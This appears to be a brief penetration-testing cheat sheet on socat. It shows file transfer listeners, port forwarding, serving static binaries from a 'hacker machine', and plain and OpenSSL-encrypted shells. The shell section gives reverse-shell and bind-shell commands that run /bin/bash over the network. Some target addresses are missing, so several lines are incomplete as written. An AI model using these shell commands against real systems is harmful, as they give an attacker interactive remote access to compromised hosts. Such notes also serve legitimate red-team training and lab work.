Skip to content


Socat is a command line based utility that establishes two bidirectional byte streams and transfers data between them.

socat binary

hacker machine

git clone
cd static-binaries/binaries/linux/x86_64
python3 -m http.server

socat file transfer

listener with file (for one call)

socat TCP4-LISTEN:8001 file:message.txt
listener with file (for N calls)
socat TCP4-LISTEN:8001,fork file:message.txt
get file from server
socat TCP4: file:receinved_message.txt,create

reverse shells


socat -d -d TCP4-LISTEN:8001 STDOUT
establish connection
socat TCP4: EXEC:/bin/bash

use socat to port forwarding


socat TCP-LISTEN:<port_that_will_be_exposed>,fork TCP:<ip>:<port> &
expose port 8080 as 80801
./socat TCP-LISTEN:8081,fork TCP: &



openssl req -newkey rsa:2048 -nodes -keyout some_name.key -x509 -days 362 -out some_name.crt
cat some_name.key some_name.crt > some_name.pem
socat OPENSSL-LISTEN:4444,cert=some_name.pem,verify=0,fork EXEC:/bin/bash
establish connection
socat - OPENSSL:,verify=0